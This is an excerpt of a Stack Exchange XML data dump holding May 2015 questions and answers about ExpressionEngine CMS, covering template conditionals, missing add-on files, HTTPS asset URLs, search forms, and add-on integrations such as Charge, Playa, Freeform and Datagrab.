  <row Id="31510" PostTypeId="2" ParentId="31268" CreationDate="2015-05-15T18:10:58.860" Score="0" Body="&lt;p&gt;I've found the right syntax to use from looking at this question: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13040/conditionally-display-a-field-from-a-related-entry-if-its-not-empty-native-rel&quot;&gt;Conditionally display a field from a related entry if it&amp;#39;s not empty (native relationships field)&lt;/a&gt;. Basically, the field needs to be compared against an empty string as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;&#xA;  {event_location:title}&#xA;  {if '{event_location:floor}' != &quot;&quot;}&#xA;    , {event_location:floor}&#xA;  {/if}&#xA;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not remotely elegant, but this did the trick.&lt;/p&gt;&#xA;" OwnerUserId="6121" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-05-15T18:10:58.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31511" PostTypeId="1" AcceptedAnswerId="31512" CreationDate="2015-05-15T19:12:44.957" Score="0" ViewCount="1374" Body="&lt;p&gt;A friend ask me to do some changes on his site made from EE. I never done any work in EE in my life so my first instinct is to copy all the files and database to my localhost. so that I can play it first in my local server before applying the changes on the live site. I'm using  xammp 1.8.1 (PHP version is 5.2.9). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what i did is put all the files in c:\xammp\htdocs\thesite and the database in &quot;dbee&quot; then apply changes in config.php and database.php under expressionengine folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = &quot;272&quot;;&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['license_number'] = &quot;&quot;;&#xA;$config['debug'] = &quot;1&quot;;&#xA;$config['cp_url'] = 'http://localhost/thesite/admin.php';&#xA;$config['doc_url'] = &quot;http://ellislab.com/expressionengine/user-guide/&quot;;&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;$config['allow_extensions'] = &quot;y&quot;;&#xA;$config['site_label'] = 'sitel label';&#xA;$config['cookie_prefix'] = '';&#xA;$config['tmpl_file_basepath'] = 'c:\xammp\htdocs\thesite\assets\templates';&#xA;&#xA;// Third Party Prefs&#xA;$config['third_party_path'] = 'c:\xammp\htdocs\thesite\assets\add-ons\third_party';&#xA;$config['url_third_themes'] = 'http://localhost/thesite/assets/add-ons/themes/';&#xA;$config['enable_online_user_tracking'] = &quot;n&quot;;&#xA;$config['enable_hit_tracking'] = &quot;n&quot;;&#xA;$config['enable_entry_view_tracking'] = &quot;n&quot;;&#xA;$config['dynamic_tracking_disabling'] = &quot;&quot;;&#xA;&#xA;// END EE config items&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in database.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['hostname'] = 'localhost';&#xA;$db['expressionengine']['username'] = 'root';&#xA;$db['expressionengine']['password'] = 'pwd';&#xA;$db['expressionengine']['database'] = 'dbee';&#xA;$db['expressionengine']['dbdriver'] = 'mysql';&#xA;$db['expressionengine']['pconnect'] = FALSE;&#xA;$db['expressionengine']['dbprefix'] = 'exp_';&#xA;$db['expressionengine']['swap_pre'] = 'exp_';&#xA;$db['expressionengine']['db_debug'] = TRUE;&#xA;$db['expressionengine']['cache_on'] = FALSE;&#xA;$db['expressionengine']['autoinit'] = FALSE;&#xA;$db['expressionengine']['char_set'] = 'utf8';&#xA;$db['expressionengine']['dbcollat'] = 'utf8_general_ci';&#xA;$db['expressionengine']['cachedir'] = 'c:/xammp/htdocs/thesite/app/expressionengine/cache/db_cache/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the results are; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;from index.php and admin.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HzxAI.jpg&quot; alt=&quot;index.php&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tV7RA.jpg&quot; alt=&quot;admin.php&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from index.php&#xA;from admin.php&#xA;I already look in google can't find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping I could get answer from you guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much in advance!&lt;/p&gt;&#xA;" OwnerUserId="6311" LastEditorUserId="6311" LastEditDate="2015-05-15T19:43:49.703" LastActivityDate="2017-03-29T03:57:48.857" Title="Unable to load the following extension file: ext.detour_pro.php" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31512" PostTypeId="2" ParentId="31511" CreationDate="2015-05-15T21:17:39.740" Score="1" Body="&lt;p&gt;It looks as though the &lt;a href=&quot;https://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro extension&lt;/a&gt; is installed, but the package is missing from &lt;strong&gt;thesite\assets\add-ons\third_party&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the package is indeed there, then EE is having trouble finding and loading files from that directory (which is where third party add-ons are stored).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-15T21:17:39.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31513" PostTypeId="2" ParentId="31508" CreationDate="2015-05-15T23:49:32.287" Score="0" Body="&lt;p&gt;Are the assistants members too? If not, Install PT Field Pack. You can use PT checkboxes as a field in your Zoo Member Profile. Then populate it with assistants. Then when teachers register, they can check off their assistants and you can display them through a members details page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are members, you could do the same thing, but just write an import script that grabs assistants from the members database and populates new ones in that field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blatant and I worked out a solution to a somewhat similar problem here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31353/complex-member-permissions&quot;&gt;Complex Member permissions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it fits your needs, but it worked for me!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-05-15T23:49:32.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31514" PostTypeId="1" CreationDate="2015-05-16T07:52:50.283" Score="0" ViewCount="51" Body="&lt;p&gt;I want my users to upload and crop images, when creating a new entry using Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to use Channel Images for all of my photo management, but since I'm not happy with it's crop tool - which is way too cumbersome for my clients - I want to integrate an external cropping solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm able to save cropped images to a folder on the server, but how can I assign those images to the entry being created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm thinking about grabbing the URL of the saved image and putting it in a hidden field during the entry creation process, but I'm not quite sure, how to do this in practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also purchased Photo Frame, but it's not a real replacement for Channel Images and it doesn't seem to be in active development any longer.&lt;/p&gt;&#xA;" OwnerUserId="2855" LastActivityDate="2016-06-17T02:28:26.667" Title="Save images from folder location to entry" Tags="|safecracker|channel-images|crop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31515" PostTypeId="2" ParentId="31514" CreationDate="2015-05-16T15:59:10.270" Score="0" Body="&lt;p&gt;Instead of using external tool, consider using Channel Images with CE Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Images is perfect tool for image gallery tied to channel entry, and CE Image will give you extended editing possibilities.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-05-16T15:59:10.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31516" PostTypeId="1" AcceptedAnswerId="31525" CreationDate="2015-05-16T17:17:21.800" Score="0" ViewCount="74" Body="&lt;p&gt;I am using the Charge add-on to connect a website to Stripe payments. I have an action setup whereby a channel entry is created. There are five fields in the channel, four of the fields are text inputs and the last one is a Playa field. The four text inputs are being populated correctly but not the Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code block below, the Playa field is &quot;recipe_purchases_recipe&quot;. I am using hidden fields as I only want the form to show the credit card information (removed here for brevity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This form is embedded in the template as a Stash embed so that I can pass entry variables through. Looking at the code in web inspector I see that the correct variables are coming through, but I can't figure out how to get the Playa field to populate with the entry. I tried {entry_id}, {url_title} and {title} but no luck so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I populate a Playa field in an entry using the Charge action?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:charge:form&#xA; form_id=&quot;charge-form&quot;&#xA; on_success=&quot;create_recipe_purchase_entry&quot;&#xA; on_success:recipe_purchases_order_number=&quot;{id}&quot;&#xA; on_success:recipe_purchases_customer_name=&quot;{customer_name}&quot;&#xA; on_success:recipe_purchases_amount=&quot;{plan_amount}&quot;&#xA; on_success:recipe_purchases_recipe=&quot;{stash:entry_id}&quot;&#xA; return=&quot;/recipes/{segment_2}/thanks&quot;&#xA; return_error=&quot;/recipes/{segment_2}/buy&quot;&#xA;}&#xA; &amp;lt;input type=&quot;hidden&quot; id=&quot;customer_name&quot; name=&quot;customer_name&quot; value=&quot;{exp:zoo_visitor:details}{visitor:member_firstname} {visitor:member_lastname}{/exp:zoo_visitor:details}&quot; /&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; id=&quot;customer_email&quot; name=&quot;customer_email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; id=&quot;plan_amount&quot; name=&quot;plan_amount&quot; value=&quot;{recipe_price}&quot; /&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; id=&quot;recipe_purchases_recipe&quot; name=&quot;recipe_purchases_recipe[]&quot; value=&quot;{stash:entry_id}&quot; /&amp;gt;&#xA;   ...       &#xA;{/exp:charge:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2015-05-18T14:24:48.747" Title="Update Playa field using Charge action" Tags="|playa|charge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31517" PostTypeId="2" ParentId="21505" CreationDate="2015-05-16T18:33:20.560" Score="0" Body="&lt;p&gt;I just ran into this issue and I've discovered a strange behavior. Having the relationship fields without the wrapping is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seemingly proper code provides nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{brief channel=&quot;projects&quot; status=&quot;Open|Closed&quot;} &#xA;    {brief:title}&#xA;    {brief:entry_id}&#xA;{/brief} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this one without the wrapping tag pair gives me what I need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{brief:title}&#xA;{brief:entry_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Was this a bug?&lt;/p&gt;&#xA;" OwnerUserId="1692" LastEditorUserId="1692" LastEditDate="2015-05-18T09:01:00.200" LastActivityDate="2015-05-18T09:01:00.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31518" PostTypeId="1" CreationDate="2015-05-18T12:54:45.320" Score="0" ViewCount="85" Body="&lt;p&gt;I'm using Expresso Store as a webshop. In this webshop I'm able to remove an item from my cart. This is my remove button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;remove_items[{key}]&quot; class=&quot;remove&quot; value=&quot;&amp;amp;#xf00d;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I'm using ExpressionEngines Freebie for the URL. Because of this, when I click the remove button, the page refreshes to the URL that doesn't contain the Freebie segments. A small example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am on this page: &#xA;&lt;a href=&quot;http://colourindisplay.portalserver.nl/nl/webshop/category/ral-boeken/checkout&quot; rel=&quot;nofollow&quot;&gt;http://colourindisplay.portalserver.nl/nl/webshop/category/ral-boeken/checkout&lt;/a&gt;&#xA;and remove an item on this page, it'll refresh to this page: &lt;a href=&quot;http://colourindisplay.portalserver.nl/nl/webshop&quot; rel=&quot;nofollow&quot;&gt;http://colourindisplay.portalserver.nl/nl/webshop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find a way to avoid the refreshing or at least refresh it to the right URL (&lt;a href=&quot;http://colourindisplay.portalserver.nl/nl/webshop/category/ral-boeken/checkout&quot; rel=&quot;nofollow&quot;&gt;http://colourindisplay.portalserver.nl/nl/webshop/category/ral-boeken/checkout&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have an idea on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2016-06-08T07:11:03.713" Title="Expresso store refresh on product removal" Tags="|expresso-store|jquery|javascript|ajax|freebie|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31519" PostTypeId="1" CreationDate="2015-05-18T13:05:29.443" Score="0" ViewCount="73" Body="&lt;p&gt;I am trying to do perfect forward secrecy in an ExpressionEngine site. I have forced https to be used on all the pages using rewrite rules but the elements on the pages - images, js links, stylesheets etc - are coded using http and thus newer browsers give a message &quot;Some unencrypted elements on this in the page have been blocked&quot;. The elements should be encoded with relative paths or with https absolute paths and are not. My developers tell me that they are encoded by ExpressionEngine and they can't change them. Is there any way to force ExpressionEngine to encode this in a more secure way. &lt;/p&gt;&#xA;" OwnerUserId="6314" LastActivityDate="2015-12-19T14:21:19.147" Title="perfect forward secrecy" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31520" PostTypeId="2" ParentId="31519" CreationDate="2015-05-18T13:15:43.510" Score="0" Body="&lt;p&gt;Change your file upload locations urls to https://&#xA;Make sure that your base site url is also set to https:// (admin / general config)&#xA;along with the control panel url&#xA;If you are loading anything external, think jquery,  make the call be src= &quot; //cdn.jquery.......&quot;&#xA;any on server assets (style sheets, scripts, etc)  use {site_url}/path/to/asset  (you already set the site url to be https)&#xA;That should cover most of it.&#xA;If you view source of the page, and search for http:, that will tell you what is not being loaded under https.&#xA;Your developers are lazy.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-18T13:15:43.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31521" PostTypeId="2" ParentId="31519" CreationDate="2015-05-18T13:15:50.113" Score="1" Body="&lt;p&gt;? This is a confusing question, simply because HTTPS is very easy to achieve with ExpressionEngine. You can absolutely run EE through HTTPS; find your site config under&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Admin -&amp;gt; General Configuration&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your backend, and make sure this setting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;URL to the root directory of your site&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is set to an HTTPS address. If you are still having issues, it's most likely because of third party scripts being loaded via HTTP, or seriously incompetent/lazy developers you are employing. If it's third party scripts, you need to contact those vendors for information on how to access their content via HTTPS. If it's lazy developers, you need to tell them to stop hard coding URLS and use the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{site_url} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;variable, which should be set to an HTTPS address. To be honest it sounds like incompetent/lazy developers.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-18T13:15:50.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31522" PostTypeId="1" CreationDate="2015-05-18T13:38:45.927" Score="0" ViewCount="328" Body="&lt;p&gt;I have created a simple_form for a search bar in a sidebar. I can view it in the debugger and it highlights when I submit but nothing happens. I have added a result_page and a no_result_page but nothing occurs. I would expect to hit one of those pages upon submission but nothing happens?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form &#xA;            channel=&quot;articles&quot; &#xA;            result_page=&quot;search/results&quot; &#xA;            no_result_page=&quot;articles&quot;&#xA;            results=&quot;10&quot; &#xA;            show_future_entries=&quot;no&quot; &#xA;            status=&quot;open&quot; &#xA;            where=&quot;any&quot;&#xA;            }&#xA;    &amp;lt;input type=&quot;search&quot; class=&quot;form-control&quot; id=&quot;exampleInputEmail1&quot; placeholder=&quot;Search&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why its not submitting anywhere? Ive checked and the search module is installed.&lt;/p&gt;&#xA;" OwnerUserId="6315" LastActivityDate="2021-09-15T13:46:13.480" Title="simple form search" Tags="|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31523" PostTypeId="2" ParentId="31522" CreationDate="2015-05-18T13:59:40.167" Score="0" Body="&lt;p&gt;Are you getting a standard error message something like &quot;You did not submit a search term&quot;??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first step, your search keywords field needs to be named and ID'd &lt;code&gt;keywords&lt;/code&gt; so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;search&quot; class=&quot;form-control&quot; id=&quot;keywords&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I do this my search form submits without errors, in fact as I have no articles channel it forwards me to &lt;code&gt;/articles/[SEARCHKEY]&lt;/code&gt; i.e. no results...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is to start with the documented form and alter it to your needs, testing results/no results as you go : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/search/simple.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/search/simple.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; : Additionally&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I note your no results path is just &lt;code&gt;/articles&lt;/code&gt;, note that simple search will append the search key to your URL, so on no results will go to &lt;code&gt;/articles/SOMEALPHANUMSTRING&lt;/code&gt;. I assume you have a Template group called &quot;articles&quot; however wit hthe presence of the search key this will casue EE to look for a template called whatever the search key is. To get around this, make sure you set up your index template with the route path of &lt;code&gt;articles/{searchkey}&lt;/code&gt; or similar, this will allow the search key to pass through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a scheme like &lt;code&gt;articles/url_title&lt;/code&gt; to also display individual articles, on this single view template set your route to &lt;code&gt;articles/{article_url_title}&lt;/code&gt; and make sure this route happens before your article listing /no results route in the route manager.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-18T14:05:56.650" LastActivityDate="2015-05-18T14:05:56.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31524" PostTypeId="2" ParentId="31518" CreationDate="2015-05-18T14:13:27.217" Score="0" Body="&lt;p&gt;If this form goes along the lines of any other EE form, you should be able to set the hidden &quot;RET&quot; input to influence this. Otherwise to avoid redirects you'll need to develop some AJAX methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you supply the full source of your remove product form? This will reviea the state of the hidden elements and also where the form submits too (may not be relivent but best to check this too), I suspect it submits to an ACTion if the above holds true and its a standard EE from...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Fortunatly, as you've supplied working links (+1) I was able to confirm the above myself. It does hold the RET parameter, so you should be able to influence this using the &lt;code&gt;return&lt;/code&gt; parameter detailed here : &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#return_path&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/checkout_tag.html#return_path&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you share your complete form creation / opening tag I can post  a working example too...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-18T14:13:27.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31525" PostTypeId="2" ParentId="31516" CreationDate="2015-05-18T14:24:48.747" Score="0" Body="&lt;p&gt;I would say that this is not as easy as using the params for Charge, the problem is Playa is a complex field with its own tables, so it doesn't store the raw value in the &lt;code&gt;exp_channel_data&lt;/code&gt; table, but rather stores a reference to the &lt;code&gt;exp_relationships&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do is develop a small extension that hooks into the charge event &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge/docs/hooks#hook-action-update-entry-end&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;action-update-entry-end&lt;/code&gt;&lt;/a&gt;, set up an action to update your entry as normal (perhaps update a simple field) and use the hook to catch the data you need, from here you can use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;Channel Entries API&lt;/a&gt; to populate your playa with PHP.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-18T14:24:48.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31527" PostTypeId="1" CreationDate="2015-05-18T18:48:34.023" Score="0" ViewCount="47" Body="&lt;p&gt;I have a very large form with many fields that has a little over 900 submissions. The form is manually built in a template that does not use Composer. I removed some fields from the form template, and updated the notification template acccordingly. Form submission and notifications work ok, but when I try and view the submissions in the Freeform CP I get an error...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 4128 bytes) in /public_html/system/expressionengine/third_party/freeform/libraries/Freeform_fields.php on line 117&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this error is really due to lack of memory becasue of the size of the form, I think there's some other issue that is causing a &quot;leak&quot; or causing something to loop incorrectly. If it really was a memory issue, it wouldn't have popped up after making templates smaller. I removed the most recent test submissions from the DB, but that did nothing. Any idea why this is happening? Is there anything else I can check? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2015-05-18T18:48:34.023" Title="Getting fatal error in Freeform CP when trying to view form submissions" Tags="|solspace-freeform|solspace|fatal|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31530" PostTypeId="1" CreationDate="2015-05-18T20:54:05.100" Score="0" ViewCount="101" Body="&lt;p&gt;I've got an XML feed set up to import data from one EE install to another. I'm using Datagrab and everything is working correctly except that comments are not being imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at the xml feed I can see the comments there and in the Datagrab control panel I've mapped the comment fields to their equivalent xml tags. However comments do not get imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time I do the import is fresh as I revert to an earlier database which has no entries and no comments in the channel I'm importing to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.3&#xA;Datagrab 1.8.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*****update*****&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XML feed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;root&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;200&quot; disable=&quot;category_fields&quot; status=&quot;not foo&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot;}&#xA;    &amp;lt;entry&amp;gt;&#xA;        &amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;url_title&amp;gt;{url_title}&amp;lt;/url_title&amp;gt;&#xA;        &amp;lt;entry_id&amp;gt;{entry_id}&amp;lt;/entry_id&amp;gt;&#xA;        &amp;lt;date&amp;gt;{entry_date}&amp;lt;/date&amp;gt;&#xA;        &amp;lt;status&amp;gt;{status}&amp;lt;/status&amp;gt;&#xA;        &amp;lt;blog-image&amp;gt;{if blog-image}{filedir_4}{exp:xml_encode}{blog-image}{file_name}{/blog-image}{/exp:xml_encode}{/if}&amp;lt;/blog-image&amp;gt;&#xA;        &amp;lt;content&amp;gt;&amp;lt;![CDATA[{entry}]]&amp;gt;&amp;lt;/content&amp;gt;&#xA;&#xA;        {code_sample}&#xA;        &amp;lt;code_sample&amp;gt;&#xA;            &amp;lt;code&amp;gt;{exp:xml_encode}{code}{/exp:xml_encode}&amp;lt;/code&amp;gt;&#xA;        &amp;lt;/code_sample&amp;gt;&#xA;        {/code_sample}&#xA;&#xA;        &amp;lt;seo&amp;gt;&#xA;             {exp:seo_lite entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;/seo&amp;gt;&#xA;&#xA;        &amp;lt;comments&amp;gt;&#xA;            {embed=&quot;blog/_export_comments&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;/comments&amp;gt;&#xA;&#xA;        &amp;lt;categories&amp;gt;&#xA;            {categories backspace=&quot;1&quot;}{exp:xml_encode}{category_name}{/exp:xml_encode},{/categories}&#xA;        &amp;lt;/categories&amp;gt;&#xA;    &amp;lt;/entry&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/root&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FEED Embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries entry_id=&quot;{embed:entry_id}&quot; limit=&quot;100&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;comment&amp;gt;&#xA;        &amp;lt;comment_author&amp;gt;{name}&amp;lt;/comment_author&amp;gt;&#xA;&#xA;        &amp;lt;comment_author_email&amp;gt;{email}&amp;lt;/comment_author_email&amp;gt;&#xA;&#xA;        &amp;lt;comment_author_url&amp;gt;{url}&amp;lt;/comment_author_url&amp;gt;&#xA;&#xA;        &amp;lt;comment_date&amp;gt;{comment_date}&amp;lt;/comment_date&amp;gt;&#xA;&#xA;        &amp;lt;comment_body&amp;gt;{exp:xml_encode}{comment}{/exp:xml_encode}&amp;lt;/comment_body&amp;gt;&#xA;    &amp;lt;/comment&amp;gt;&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just ran the import again and it has 46 new entries, which is correct and showed now errors. However no comments were imported&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the comment settings in Datagrab&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DZhGO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot of the xml feed showing comments  - it's a local copy of the site. &lt;img src=&quot;https://i.stack.imgur.com/aG47g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-05-19T18:30:22.957" LastActivityDate="2015-05-19T18:30:22.957" Title="Importing Comments with Datagrab" Tags="|datagrab|xml|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31531" PostTypeId="1" CreationDate="2015-05-18T21:39:31.040" Score="0" ViewCount="72" Body="&lt;p&gt;I am fairly new to EE so please bare with me. I have an issue where I want to use &lt;code&gt;addslashes()&lt;/code&gt; on a template tag that is in an array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$product_array[&quot;{ProductEntryID}&quot;][] = array(&#xA;    'CustomizationNotes' =&amp;gt; &quot;{CustomizationNotes}&quot;,&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used two different plugins with success on my local development environment &lt;a href=&quot;https://github.com/amphibian/format_characters.ee_addon&quot; rel=&quot;nofollow&quot;&gt;Format Characters&lt;/a&gt; and &#xA;&lt;a href=&quot;http://engaging.net/products/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;PHPStringFun&lt;/a&gt;. However when I attempt to use them on the production site nothing is output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure where to go from here any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br&gt;&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="6316" LastActivityDate="2016-06-06T12:58:58.100" Title="Attempting to use plugin to addslashes in a template not working" Tags="|plugin|text-formatting|formatting|phpstringfun|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
